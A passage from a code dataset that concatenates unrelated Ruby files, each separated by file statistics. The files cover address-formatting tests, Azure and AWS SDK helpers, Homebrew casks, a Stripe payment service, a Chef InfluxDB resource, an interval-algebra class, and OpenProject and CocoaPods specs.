assert_equal "John &amp; Jane Doe<br />12345 5th St<br />Somewheres NY 12345<br />CANADA", s.to_html assert s.to_html.html_safe? end test "to_html ireland doesn't show a linebreak if zip is empty" do s = Snail.new(@ie.merge(:zip => "")) s.name = 'John & Jane Doe' assert_equal "John &amp; Jane Doe<br />12345 5th St<br />Somewheres, Dublin<br />IRELAND", s.to_html end end
35.405882
137
0.654262
38dc7be0014650d4610a22079b9fa026b6fae3ae
514
# frozen_string_literal: true module Sanity module Http class Results class << self def call(result) new(result).call end end attr_reader :raw_result def initialize(result) @raw_result = result end # TODO: parse the JSON and return what the user asked for # whether that just be the response, the document ids, or the # the document object(s) the user mutated def call raw_result end end end end
19.037037
67
0.605058
d5fc1645f6da49b09e188bd67caa2999f2d6d0bd
11,937
require 'active_support/core_ext/hash/conversions' module Azure module Armrest # Base class for services that need to run in a resource group class ResourceGroupBasedService < ArmrestService # Used to map service name strings to internal classes SERVICE_NAME_MAP = { 'availabilitysets' => Azure::Armrest::AvailabilitySet, 'loadbalancers' => Azure::Armrest::Network::LoadBalancer, 'networkinterfaces' => Azure::Armrest::Network::NetworkInterface, 'networksecuritygroups' => Azure::Armrest::Network::NetworkSecurityGroup, 'publicipaddresses' => Azure::Armrest::Network::IpAddress, 'storageaccounts' => Azure::Armrest::StorageAccount, 'virtualnetworks' => Azure::Armrest::Network::VirtualNetwork, 'subnets' => Azure::Armrest::Network::Subnet, 'inboundnatrules' => Azure::Armrest::Network::InboundNat, 'securityrules' => Azure::Armrest::Network::NetworkSecurityRule, 'routes' => Azure::Armrest::Network::Route, 'databases' => Azure::Armrest::Sql::SqlDatabase, 'extensions' => Azure::Armrest::VirtualMachineExtension, 'disks' => Azure::Armrest::Storage::Disk, 'snapshots' => Azure::Armrest::Storage::Snapshot, 'images' => Azure::Armrest::Storage::Image }.freeze # Create a resource +name+ within the resource group +rgroup+, or the # resource group that was specified in the configuration, along with # a hash of appropriate +options+. # # Returns an instance of the object that was created if possible, # otherwise nil is returned. # # Note that this is an asynchronous operation. You can check the current # status of the resource by inspecting the :response_headers instance and # polling either the :azure_asyncoperation or :location URL. # # The +options+ hash keys are automatically converted to camelCase for # flexibility, so :createOption and :create_option will both work # when creating a virtual machine, for example. # def create(name, rgroup = configuration.resource_group, options = {}) validate_resource_group(rgroup) validate_resource(name) url = build_url(rgroup, name) url = yield(url) || url if block_given? body = options.deep_transform_keys{ |k| k.to_s.camelize(:lower) }.to_json response = rest_put(url, body) headers = Azure::Armrest::ResponseHeaders.new(response.headers) headers.response_code = response.code if response.body.empty? obj = get(name, rgroup) else obj = model_class.new(response.body) end obj.response_headers = headers obj.response_code = headers.response_code obj end alias update create # List all resources within the resource group +rgroup+, or the # resource group that was specified in the configuration. # # Returns an ArmrestCollection, with the response headers set # for the operation as a whole. # def list(rgroup = configuration.resource_group, skip_accessors_definition = false) validate_resource_group(rgroup) url = build_url(rgroup) url = yield(url) || url if block_given? response = rest_get(url) get_all_results(response, skip_accessors_definition) end # Use a single call to get all resources for the service. You may # optionally provide a filter on various properties to limit the # result set. # # Example: # # vms = Azure::Armrest::VirtualMachineService.new(conf) # vms.list_all(:location => "eastus", :resource_group => "rg1") # # Note that comparisons against string values are caseless. # def list_all(filter = {}) url = build_url url = yield(url) || url if block_given? skip_accessors_definition = filter.delete(:skip_accessors_definition) || false response = rest_get(url) results = get_all_results(response, skip_accessors_definition) if filter.empty? results else results.select do |obj| filter.all? do |method_name, value| if value.kind_of?(String) if skip_accessors_definition obj[method_name.to_s].casecmp(value).zero? else obj.public_send(method_name).casecmp(value).zero? end else obj.public_send(method_name) == value end end end end end # This method returns a model object based on an ID string for a resource. # # Example: # # vms = Azure::Armrest::VirtualMachineService.new(conf) # # vm = vms.get('your_vm', 'your_group') # nic_id = vm.properties.network_profile.network_interfaces[0].id # nic = vm.get_by_id(nic_id) # def get_by_id(id_string) info = parse_id_string(id_string) url = convert_id_string_to_url(id_string, info) service_name = info['subservice_name'] || info['service_name'] || 'resourceGroups' model_class = SERVICE_NAME_MAP.fetch(service_name.downcase) do raise ArgumentError, "unable to map service name #{service_name} to model" end model_class.new(rest_get(url)) end alias get_associated_resource get_by_id def delete_by_id(id_string) url = convert_id_string_to_url(id_string) delete_by_url(url, id_string) end # Get information about a single resource +name+ within resource group # +rgroup+, or the resource group that was set in the configuration. # def get(name, rgroup = configuration.resource_group) validate_resource_group(rgroup) validate_resource(name) url = build_url(rgroup, name) url = yield(url) || url if block_given? response = rest_get(url) obj = model_class.new(response.body) obj.response_headers = Azure::Armrest::ResponseHeaders.new(response.headers) obj.response_code = response.code obj end # Delete the resource with the given +name+ for the provided +resource_group+, # or the resource group specified in your original configuration object. If # successful, returns a ResponseHeaders object. # # If the delete operation returns a 204 (no body), which is what the Azure # REST API typically returns if the resource is not found, it is treated # as an error and a ResourceNotFoundException is raised. # def delete(name, rgroup = configuration.resource_group) validate_resource_group(rgroup) validate_resource(name) url = build_url(rgroup, name) url = yield(url) || url if block_given? delete_by_url(url, "#{rgroup}/#{name}") end private def convert_id_string_to_url(id_string, info = nil) if id_string.include?('api-version') File.join(configuration.environment.resource_url, id_string) else info ||= parse_id_string(id_string) api_version = api_version_lookup(info['provider'], info['service_name'], info['subservice_name']) File.join(configuration.environment.resource_url, id_string) + "?api-version=#{api_version}" end end # Parse the provider and service name out of an ID string. def parse_id_string(id_string) regex = %r{ subscriptions/(?<subscription_id>[^\/]+)? (/resourceGroups/(?<resource_group>[^\/]+)?)? (/providers/(?<provider>[^\/]+)?)? (/(?<service_name>[^\/]+)?/(?<resource_name>[^\/]+))? (/(?<subservice_name>[^\/]+)?/(?<subservice_resource_name>[^\/]+))? \z }xi match = regex.match(id_string) Hash[match.names.zip(match.captures)] end def api_version_lookup(provider_name, service_name, subservice_name) provider_name ||= 'Microsoft.Resources' service_name ||= 'resourceGroups' if subservice_name full_service_name = "#{service_name}/#{subservice_name}" api_version = configuration.provider_default_api_version(provider_name, full_service_name) end api_version ||= configuration.provider_default_api_version(provider_name, service_name) api_version ||= configuration.api_version end def delete_by_url(url, resource_name = '') response = rest_delete(url) if response.code == 204 msg = "resource #{resource_name} not found" raise Azure::Armrest::ResourceNotFoundException.new(response.code, msg, response) end Azure::Armrest::ResponseHeaders.new(response.headers).tap do |headers| headers.response_code = response.code end end def validate_resource_group(name) raise ArgumentError, "must specify resource group" unless name end def validate_resource(name) raise ArgumentError, "must specify #{@service_name.singularize.underscore.humanize}" unless name end # Builds a URL based on subscription_id an resource_group and any other # arguments provided, and appends it with the api_version. # def build_url(resource_group = nil, *args) url = File.join(configuration.environment.resource_url, build_id_string(resource_group, *args)) end def build_id_string(resource_group = nil, *args) id_string = File.join('', 'subscriptions', configuration.subscription_id) id_string = File.join(id_string, 'resourceGroups', resource_group) if resource_group id_string = File.join(id_string, 'providers', @provider, @service_name) query = "?api-version=#{@api_version}" args.each do |arg| if arg.kind_of?(Hash) arg.each do |key, value| key = key.to_s.camelize(:lower) if key.casecmp('top').zero? query << "&$top=#{value}" elsif key.casecmp('filter').zero? query << "&$filter=#{value}" # Allow raw filter else if query.include?("$filter") query << " and #{key} eq '#{value}'" else query << "&$filter=#{key} eq '#{value}'" end end end else id_string = File.join(id_string, arg) end end id_string + query end # Aggregate resources from all resource groups. # # To be used in the cases where the API does not support list_all with # one call. Note that this does not set the skip token because we're # actually collating the results of multiple calls internally. # def list_in_all_groups(options = {}) array = [] mutex = Mutex.new headers = nil code = nil Parallel.each(list_resource_groups, :in_threads => configuration.max_threads) do |rg| url = build_url(rg.name, options) response = rest_get(url) json_response = JSON.parse(response.body)['value'] headers = Azure::Armrest::ResponseHeaders.new(response.headers) code = response.code results = json_response.map { |hash| model_class.new(hash) } mutex.synchronize { array << results } unless results.blank? end array = ArmrestCollection.new(array.flatten) # Use the last set of headers and response code for the overall result. array.response_headers = headers array.response_code = code array end end end end
37.303125
107
0.620843
1841413b3deca6211c5e6780eaddad7b43c384a6
1,621
# snippet-comment:[These are tags for the AWS doc team's sample catalog. Do not remove.] # snippet-sourceauthor:[Doug-AWS] # snippet-sourcedescription:[Lists the security groups for you RDS instances.] # snippet-keyword:[Amazon Relational Database Service] # snippet-keyword:[db_instances method] # snippet-keyword:[DBInstances.security_groups method] # snippet-keyword:[Ruby] # snippet-service:[rds] # snippet-keyword:[Code Sample] # snippet-sourcetype:[full-example] # snippet-sourcedate:[2018-03-16] # Copyright 2010-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # This file is licensed under the Apache License, Version 2.0 (the "License"). # You may not use this file except in compliance with the License. A copy of the # License is located at # # http://aws.amazon.com/apache2.0/ # # This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS # OF ANY KIND, either express or implied. See the License for the specific # language governing permissions and limitations under the License. require 'aws-sdk-rds' # v2: require 'aws-sdk' rds = Aws::RDS::Resource.new(region: 'us-west-2') rds.db_instances.each do |i| # Show any security group IDs and descriptions puts 'Security Groups:' i.db_security_groups.each do |sg| puts sg.db_security_group_name puts ' ' + sg.db_security_group_description puts end # Show any VPC security group IDs and their status puts 'VPC Security Groups:' i.vpc_security_groups.each do |vsg| puts vsg.vpc_security_group_id puts ' ' + vsg.status puts end end
34.489362
89
0.723627
ac18929b578da0dfada9248077997f90bf8dc2b2
403
cask 'prizmo' do version '3.7.2' sha256 '6f811c4eb7b2f08f212749b615c3ad2587a610278fb5ca761d43710ecf962d6c' url "https://www.creaceed.com/downloads/prizmo#{version.major}_#{version}.zip" appcast "https://www.creaceed.com/appcasts/prizmo#{version.major}.xml" name 'Prizmo' homepage 'https://creaceed.com/prizmo' auto_updates true depends_on macos: '>= :yosemite' app 'Prizmo.app' end
26.866667
80
0.746898
e92acaab57bbb7d50f89b5a21e511465e31b04bf
2,326
module PaymentService def self.authorize_charge(credit_card:, buyer_amount:, seller_amount:, merchant_account:, currency_code:, description:, metadata: {}) charge = Stripe::Charge.create( amount: buyer_amount, currency: currency_code, description: description, source: credit_card[:external_id], customer: credit_card[:customer_account][:external_id], destination: { account: merchant_account[:external_id], amount: seller_amount }, metadata: metadata, capture: false ) Transaction.new(external_id: charge.id, source_id: charge.source.id, destination_id: charge.destination, amount_cents: charge.amount, transaction_type: Transaction::HOLD, status: Transaction::SUCCESS) rescue Stripe::StripeError => e generate_transaction_from_exception(e, Transaction::HOLD, credit_card: credit_card, merchant_account: merchant_account, buyer_amount: buyer_amount) end def self.capture_charge(charge_id) charge = Stripe::Charge.retrieve(charge_id) charge.capture Transaction.new(external_id: charge.id, source_id: charge.source, destination_id: charge.destination, amount_cents: charge.amount, transaction_type: Transaction::CAPTURE, status: Transaction::SUCCESS) rescue Stripe::StripeError => e generate_transaction_from_exception(e, Transaction::CAPTURE, charge_id: charge_id) end def self.refund_charge(charge_id) refund = Stripe::Refund.create(charge: charge_id, reverse_transfer: true) Transaction.new(external_id: refund.id, transaction_type: Transaction::REFUND, status: Transaction::SUCCESS) rescue Stripe::StripeError => e generate_transaction_from_exception(e, Transaction::REFUND, charge_id: charge_id) end def self.generate_transaction_from_exception(exc, type, credit_card: nil, merchant_account: nil, buyer_amount: nil, charge_id: nil) body = exc.json_body[:error] Transaction.new( external_id: charge_id || body[:charge], source_id: (credit_card.present? ? credit_card[:external_id] : nil), destination_id: (merchant_account.present? ? merchant_account[:external_id] : nil), amount_cents: buyer_amount, failure_code: body[:code], failure_message: body[:message], transaction_type: type, status: Transaction::FAILURE ) end end
46.52
204
0.745056
d5c665ee5cd0f384fbd08970c18ac1c1f11598bb
2,147
# resources/admin.rb # # Author: Simple Finance <[email protected]> # License: Apache License, Version 2.0 # # Copyright 2013 Simple Finance Technology Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Resource for InfluxDB cluster admin property :username, String, name_property: true property :password, String property :auth_username, String, default: 'root' property :auth_password, String, default: 'root' action :create do unless password Chef::Log.fatal('You must provide a password for the :create action on this resource!') end begin unless client.list_cluster_admins.member?(username) client.create_cluster_admin(username, password) updated_by_last_action true end rescue InfluxDB::AuthenticationError => e # Exception due to missing admin user # https://influxdb.com/docs/v0.9/administration/authentication.html # https://github.com/chrisduong/chef-influxdb/commit/fe730374b4164e872cbf208c06d2462c8a056a6a if e.to_s.include? 'create admin user' client.create_cluster_admin(username, password) updated_by_last_action true end end end action :update do unless password Chef::Log.fatal('You must provide a password for the :update action on this resource!') end client.update_user_password(username, password) updated_by_last_action true end action :delete do if client.list_cluster_admins.member?(username) client.delete_user(username) updated_by_last_action true end end def client require 'influxdb' @client ||= InfluxDB::Client.new( username: auth_username, password: auth_password, retry: 10 ) end
29.410959
97
0.751281
f7077af9789fa4f389e48b50a2a8b38ddf011598
433
cask '[email protected]' do version '2018.2.0f2,787658998520' sha256 '75baf4f0ff48b4d5ab2d021f654388a444abcfe420685fec49980cf5ff192c15' url "http://download.unity3d.com/download_unity/#{version.after_comma}/UnityDownloadAssistant-#{version.before_comma}.dmg" name 'Unity' homepage 'https://unity3d.com/unity/' installer manual: 'Unity Download Assistant.app' uninstall pkgutil: 'com.unity3d.*' end
33.307692
124
0.785219
1861b68b9e67ef420bac1b40a2c93be13353773a
6,086
module Allens class Interval # Regarding the clock ticks mentioned below, e.g. timestamps could profitably use: # chronon = 0.000001 (find out what Ruby's granularity is for timestamp) # clocktick = 0.000001 (choose your preference, multiple of chronon) # forever = "999/12/31 23:59:59.999999" # BEWARE: that .999999 stuff should be exactly the last possible clock-tick at the # granularity you are choosing to use. (and to understand this, you need to know # about the concepts of 'atomic clock tick' ('chronon'), 'clock tick' and the finer # points about their interection). Whinge = "Do not use Allens::Interval directly. Subclass it, and define class methods 'chronon', 'clocktick' and 'forever' returning non-nil values" def self.chronon; raise Allens::Interval::Whinge; end def self.clocktick; raise Allens::Interval::Whinge; end def self.forever; raise Allens::Interval::Whinge; end attr_reader :starts, :ends def initialize(starts, ends = nil) # Passing in a nil 'ends' (ie not passing) manufactures a forever Interval. # Programmers may pass the forever value of their particular subclass; cope with that too # ends ||= self.class.forever ends.nil? and raise Allens::Inteval::Whinge starts < ends or raise ArgumentError, "Expected starts < ends. Got starts=#{starts}, ends=#{ends}" ends <= self.class.forever or raise ArgumentError, "Expected ends <= 'FOREVER' (#{self.class.forever}). Got starts=#{starts}, ends=#{ends}" @starts, @ends = starts, ends end def hash return @starts.hash ^ @ends.hash end def eql?(other) return @starts == other.starts && @ends == other.ends end ################################################################## # Utility functions def to_s(*args) return "[" + @starts.to_s(*args) + "," + (forever? ? "-" : @ends.to_s(*args)) + ")" end def foreverValue # convenience return self.class.forever end def forever? return @ends == self.class.forever end def limited? return @ends != self.class.forever end ################################################################## # TODO: temporal use has strong opinions about how points relate to # periods. Check chapter 3, build some tests and go for gold (or green...) # hint: see how metBy? has a theoretically useless "starts > y.starts" # clause? That may be what's needed to fix things; or it might need to be removed! # Consider the granularity effect of the clocktick, and hope that it won't # need subtracting from one of the values with changes from (eg) < to <= or whatever... def before?(y); return @ends < y.starts; end def meets?(y); return @ends == y.starts; end def overlaps?(y); return @starts < y.starts && @ends > y.starts && @ends < y.ends; end def starts?(y); return @starts == y.starts && @ends < y.ends; end def during?(y); return @starts > y.starts && @ends < y.ends; end def finishes?(y); return @starts > y.starts && @ends == y.ends; end def equals?(y); return @starts == y.starts && @ends == y.ends; end def finishedBy?(y); return @starts < y.starts && @ends == y.ends; end def includes?(y); return @starts < y.starts && @ends > y.ends; end def startedBy?(y); return @starts == y.starts && @ends > y.ends; end def overlappedBy?(y); return @starts > y.starts && @starts < y.ends && @ends > y.ends; end def metBy?(y); return @starts == y.ends; end def after?(y); return @starts > y.ends; end ################################################################## # Combinatoral operators - See chapter 3's taxonomy. # TODO: expand the nested calls, and simplify the expressions, # but ONLY after the unit tests are solid!!! # def before!(y); return before?(y) || after?(y); end def meets!(y); return meets?(y) || metBy?(y); end def overlaps!(y); return overlaps?(y) || overlappedBy?(y); end def starts!(y); return starts?(y) || startedBy?(y); end def during!(y); return during?(y) || includes?(y); end def finishes!(y); return finishes?(y) || finishedBy?(y); end def equals!(y); return equals?(y); end def aligns!(y); return starts!(y) || finishes!(y); end def occupies!(y); return aligns!(y) || during!(y); end def fills!(y); return occupies!(y) || equals!(y); end def intersects!(y); return fills!(y) || overlaps!(y); end def excludes!(y); return before!(y) || meets!(y); end ################################################################## def method_missing(key, *args) text = key.to_s if args.length == 1 and (text =~ /^(B)?(M)?(O)?(S)?(D)?(F)?(E)?(Fby)?(I)?(Sby)?(Oby)?(Mby)?(A)?\?$/ or text =~ /^(Before)?(Meets)?(Overlaps)?(Starts)?(During)?(Finishes)?(Equals)?(FinishedBy)?(Includes)?(StartedBy)?(OverlappedBy)?(MetBy)?(After)?\?$/ ) names = Regexp.last_match sep = 'return' code = "def #{text}(y);" %w(before? meets? overlaps? starts? during? finishes? equals? finishedBy? includes? startedBy? overlappedBy? metBy? after?).each_with_index do |name, i| if ! names[i + 1].nil? code += " #{sep} #{name}(y)" sep = '||' end end code += "; end" Interval.class_eval code return send(key, *args) end super end # method_missing end end
43.471429
178
0.532369
212771208db7498e312de1db800b238761acf661
1,144
Puppet::Type.newtype(:celebrer_config) do ensurable newparam(:name, :namevar => true) do desc 'Section/setting name to manage from celebrer.conf' newvalues(/\S+\/\S+/) end newproperty(:value) do desc 'The value of the setting to be defined.' munge do |value| value = value.to_s.strip value.capitalize! if value =~ /^(true|false)$/i value end newvalues(/^[\S ]*$/) def is_to_s(currentvalue) if resource.secret? return '[old secret redacted]' else return currentvalue end end def should_to_s(newvalue) if resource.secret? return '[new secret redacted]' else return newvalue end end end newparam(:secret, :boolean => true) do desc 'Whether to hide the value from Puppet logs. Defaults to `false`.' newvalues(:true, :false) defaultto false end newparam(:ensure_absent_val) do desc 'A value that is specified as the value property will behave as if ensure => absent was specified' defaultto('<SERVICE DEFAULT>') end autorequire(:package) do 'celebrer-common' end end
22
107
0.637238
bf6b55f4d2a028a1dba25783c37525979390d91f
3,564
#-- copyright # OpenProject is a project management system. # Copyright (C) 2012-2015 the OpenProject Foundation (OPF) # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License version 3. # # OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows: # Copyright (C) 2006-2013 Jean-Philippe Lang # Copyright (C) 2010-2013 the ChiliProject Team # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # # See doc/COPYRIGHT.rdoc for more details. #++ require 'spec_helper' describe CustomValue::VersionStrategy do let(:custom_value) { double('CustomValue', value: value, custom_field: custom_field, customized: customized) } let(:customized) { double('customized') } let(:custom_field) { FactoryGirl.build(:custom_field) } let(:version) { FactoryGirl.build_stubbed(:version) } describe '#parse_value/#typed_value' do subject { described_class.new(custom_value) } context 'with a version' do let(:value) { version } it 'returns the version and sets it for later retrieval' do expect(Version) .to_not receive(:find_by) expect(subject.parse_value(value)).to eql version.id.to_s expect(subject.typed_value).to eql value end end context 'with an id string' do let(:value) { version.id.to_s } it 'returns the string and has to later find the version' do allow(Version) .to receive(:find_by) .with(id: version.id.to_s) .and_return(version) expect(subject.parse_value(value)).to eql value expect(subject.typed_value).to eql version end end context 'value is blank' do let(:value) { '' } it 'is nil and does not look for the version' do expect(Version) .to_not receive(:find_by) expect(subject.parse_value(value)).to be_nil expect(subject.typed_value).to be_nil end end context 'value is nil' do let(:value) { nil } it 'is nil and does not look for the version' do expect(Version) .to_not receive(:find_by) expect(subject.parse_value(value)).to be_nil expect(subject.typed_value).to be_nil end end end describe '#validate_type_of_value' do subject { described_class.new(custom_value).validate_type_of_value } let(:allowed_ids) { %w(12 13) } before do allow(custom_field).to receive(:possible_values).with(customized).and_return(allowed_ids) end context 'value is id of included element' do let(:value) { '12' } it 'accepts' do is_expected.to be_nil end end context 'value is id of non included element' do let(:value) { '10' } it 'rejects' do is_expected.to eql(:inclusion) end end end end
28.97561
95
0.673962
bb226caf95a82b7f9598eb7fd2a9dddf064e6c09
73,551
require File.expand_path('../../../spec_helper', __FILE__) module Pod describe Installer::Analyzer do describe 'Analysis' do before do repos = [Source.new(fixture('spec-repos/test_repo')), MasterSource.new(fixture('spec-repos/master'))] aggregate = Pod::Source::Aggregate.new(repos) config.sources_manager.stubs(:aggregate).returns(aggregate) aggregate.sources.first.stubs(:url).returns(SpecHelper.test_repo_url) @podfile = Pod::Podfile.new do platform :ios, '6.0' project 'SampleProject/SampleProject' target 'SampleProject' do pod 'JSONKit', '1.5pre' pod 'AFNetworking', '1.0.1' pod 'SVPullToRefresh', '0.4' pod 'libextobjc/EXTKeyPathCoding', '0.2.3' target 'TestRunner' do inherit! :search_paths pod 'libextobjc/EXTKeyPathCoding', '0.2.3' pod 'libextobjc/EXTSynthesize', '0.2.3' end end end hash = {} hash['PODS'] = ['JSONKit (1.5pre)', 'NUI (0.2.0)', 'SVPullToRefresh (0.4)'] hash['DEPENDENCIES'] = %w(JSONKit NUI SVPullToRefresh) hash['SPEC CHECKSUMS'] = {} hash['COCOAPODS'] = Pod::VERSION @lockfile = Pod::Lockfile.new(hash) SpecHelper.create_sample_app_copy_from_fixture('SampleProject') @analyzer = Pod::Installer::Analyzer.new(config.sandbox, @podfile, @lockfile) end it 'returns whether an installation should be performed' do @analyzer.analyze.needs_install?.should.be.true end it 'returns whether the Podfile has changes' do @analyzer.analyze(false).podfile_needs_install?.should.be.true end it 'returns whether the sandbox is not in sync with the lockfile' do @analyzer.analyze(false).sandbox_needs_install?.should.be.true end #--------------------------------------# it 'computes the state of the Podfile respect to the Lockfile' do state = @analyzer.analyze.podfile_state state.added.should == Set.new(%w(AFNetworking libextobjc libextobjc)) state.changed.should == Set.new(%w()) state.unchanged.should == Set.new(%w(JSONKit SVPullToRefresh)) state.deleted.should == Set.new(%w(NUI)) end #--------------------------------------# it 'does not update unused sources' do @analyzer.stubs(:sources).returns(config.sources_manager.master) config.sources_manager.expects(:update).once.with('master', true) @analyzer.update_repositories end it 'does not update sources if there are no dependencies' do podfile = Podfile.new do source 'https://github.com/CocoaPods/Specs.git' # No dependencies specified end config.verbose = true config.sources_manager.expects(:update).never analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile, nil) analyzer.update_repositories end it 'does not update non-git repositories' do tmp_directory = Pathname(Dir.tmpdir) + 'CocoaPods' FileUtils.mkdir_p(tmp_directory) FileUtils.cp_r(ROOT + 'spec/fixtures/spec-repos/test_repo/', tmp_directory) non_git_repo = tmp_directory + 'test_repo' FileUtils.rm(non_git_repo + '.git') podfile = Podfile.new do platform :ios, '8.0' project 'SampleProject/SampleProject' pod 'BananaLib', '1.0' end config.verbose = true source = Source.new(non_git_repo) config.sources_manager.expects(:update).never analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile, nil) analyzer.stubs(:sources).returns([source]) analyzer.update_repositories UI.output.should.match /Skipping `#{source.name}` update because the repository is not a git source repository./ FileUtils.rm_rf(non_git_repo) end it 'updates sources specified with dependencies' do repo_url = 'https://url/to/specs.git' podfile = Podfile.new do source 'repo_1' pod 'BananaLib', '1.0', :source => repo_url pod 'JSONKit', :source => repo_url end config.verbose = true # Note that we are explicitly ignoring 'repo_1' since it isn't used. source = mock source.stubs(:name).returns('repo_2') source.stubs(:repo).returns('/repo/cache/path') config.sources_manager.expects(:find_or_create_source_with_url).with(repo_url).returns(source) source.stubs(:git?).returns(true) config.sources_manager.expects(:update).once.with(source.name, true) analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile, nil) analyzer.update_repositories end #--------------------------------------# it 'generates the model to represent the target definitions' do result = @analyzer.analyze target, test_target = result.targets test_target.pod_targets.map(&:name).sort.should == %w( libextobjc-EXTKeyPathCoding-EXTSynthesize ).sort target.pod_targets.map(&:name).sort.should == %w( JSONKit AFNetworking libextobjc-EXTKeyPathCoding SVPullToRefresh ).sort target.support_files_dir.should == config.sandbox.target_support_files_dir('Pods-SampleProject') target.pod_targets.map(&:archs).uniq.should == [[]] target.user_project_path.to_s.should.include 'SampleProject/SampleProject' target.client_root.to_s.should.include 'SampleProject' target.user_target_uuids.should == ['A346496C14F9BE9A0080D870'] user_proj = Xcodeproj::Project.open(target.user_project_path) user_proj.objects_by_uuid[target.user_target_uuids.first].name.should == 'SampleProject' target.user_build_configurations.should == { 'Debug' => :debug, 'Release' => :release, 'Test' => :release, 'App Store' => :release, } target.platform.to_s.should == 'iOS 6.0' end describe 'platform architectures' do it 'correctly determines when a platform requires 64-bit architectures' do Installer::Analyzer.send(:requires_64_bit_archs?, Platform.new(:ios, '11.0'), nil).should.be.true Installer::Analyzer.send(:requires_64_bit_archs?, Platform.new(:ios, '12.0'), nil).should.be.true Installer::Analyzer.send(:requires_64_bit_archs?, Platform.new(:ios, '10.0'), nil).should.be.false Installer::Analyzer.send(:requires_64_bit_archs?, Platform.new(:osx), nil).should.be.true Installer::Analyzer.send(:requires_64_bit_archs?, Platform.new(:tvos), nil).should.be.false Installer::Analyzer.send(:requires_64_bit_archs?, Platform.new(:watchos), nil).should.be.false end it 'does not specify 64-bit architectures on Xcode 10+' do Installer::Analyzer.send(:requires_64_bit_archs?, Platform.new(:ios, '11.0'), 49).should.be.true Installer::Analyzer.send(:requires_64_bit_archs?, Platform.new(:ios, '11.0'), 50).should.be.false end it 'forces 64-bit architectures when required' do @podfile = Pod::Podfile.new do project 'SampleProject/SampleProject' platform :ios, '11.0' use_frameworks! target 'TestRunner' do pod 'AFNetworking' pod 'JSONKit' end end @analyzer = Pod::Installer::Analyzer.new(config.sandbox, @podfile, nil) result = @analyzer.analyze result.pod_targets.map(&:archs).uniq.should == [['$(ARCHS_STANDARD_64_BIT)']] end it 'forces 64-bit architectures only for the targets that require it' do @podfile = Pod::Podfile.new do project 'SampleProject/SampleProject' use_frameworks! target 'SampleProject' do platform :ios, '10.0' pod 'AFNetworking' target 'TestRunner' do platform :ios, '11.0' pod 'JSONKit' pod 'SOCKit' end end end Xcodeproj::Project.any_instance.stubs(:object_version).returns('49') @analyzer = Pod::Installer::Analyzer.new(config.sandbox, @podfile, nil) result = @analyzer.analyze non_64_bit_target = result.pod_targets.shift non_64_bit_target.send(:archs).should == [] result.pod_targets.map(&:archs).uniq.should == [['$(ARCHS_STANDARD_64_BIT)']] end it 'does not force 64-bit architectures on Xcode 10+' do @podfile = Pod::Podfile.new do project 'SampleProject/SampleProject' platform :ios, '11.0' use_frameworks! target 'TestRunner' do pod 'AFNetworking' pod 'JSONKit' end end Xcodeproj::Project.any_instance.stubs(:object_version).returns('50') @analyzer = Pod::Installer::Analyzer.new(config.sandbox, @podfile, nil) result = @analyzer.analyze result.pod_targets.map(&:archs).uniq.should == [[]] end it 'does not specify archs value unless required' do @podfile = Pod::Podfile.new do project 'SampleProject/SampleProject' platform :ios, '10.0' use_frameworks! target 'TestRunner' do pod 'AFNetworking' pod 'JSONKit' end end @analyzer = Pod::Installer::Analyzer.new(config.sandbox, @podfile, nil) result = @analyzer.analyze result.pod_targets.map(&:archs).uniq.should == [[]] end end describe 'abstract targets' do it 'resolves' do @podfile = Pod::Podfile.new do project 'SampleProject/SampleProject' use_frameworks! abstract_target 'Alpha' do pod 'libextobjc' target 'SampleProject' do pod 'libextobjc/RuntimeExtensions' end target 'TestRunner' do end end end @analyzer = Pod::Installer::Analyzer.new(config.sandbox, @podfile, nil) result = @analyzer.analyze sample_project_target, test_runner_target = result.targets.sort_by(&:name) sample_project_target.pod_targets.map(&:name).should == %w(libextobjc-iOS5.0) test_runner_target.pod_targets.map(&:name).should == %w(libextobjc-iOS5.1) sample_project_target.user_targets.map(&:name).should == %w(SampleProject) test_runner_target.user_targets.map(&:name).should == %w(TestRunner) end end describe 'dependent pod targets' do it 'picks transitive dependencies up' do @podfile = Pod::Podfile.new do platform :ios, '8.0' project 'SampleProject/SampleProject' pod 'RestKit', '~> 0.23.0' target 'TestRunner' do pod 'RestKit/Testing', '~> 0.23.0' end end @analyzer = Pod::Installer::Analyzer.new(config.sandbox, @podfile, nil) result = @analyzer.analyze result.targets.count.should == 1 target = result.targets.first restkit_target = target.pod_targets.find { |pt| pt.pod_name == 'RestKit' } restkit_target.dependent_targets.map(&:pod_name).sort.should == %w( AFNetworking ISO8601DateFormatterValueTransformer RKValueTransformers SOCKit TransitionKit ) restkit_target.recursive_dependent_targets.map(&:pod_name).sort.should == %w( AFNetworking ISO8601DateFormatterValueTransformer RKValueTransformers SOCKit TransitionKit ) restkit_target.dependent_targets.all?(&:scoped).should.be.true end it 'includes pod targets from test dependent targets' do pod_target_one = stub('PodTarget1', :test_specs => [], :app_specs => []) pod_target_three = stub('PodTarget2', :test_specs => [], :app_specs => []) pod_target_two = stub('PodTarget3', :test_specs => [stub('test_spec', :name => 'TestSpec1')]).tap { |pt2| pt2.expects(:recursive_test_dependent_targets => [pod_target_three], :app_specs => []) } aggregate_target = stub(:pod_targets => [pod_target_one, pod_target_two]) @analyzer.send(:calculate_pod_targets, [aggregate_target]). should == [pod_target_one, pod_target_two, pod_target_three] end it 'does not mark transitive dependencies as dependent targets' do @podfile = Pod::Podfile.new do 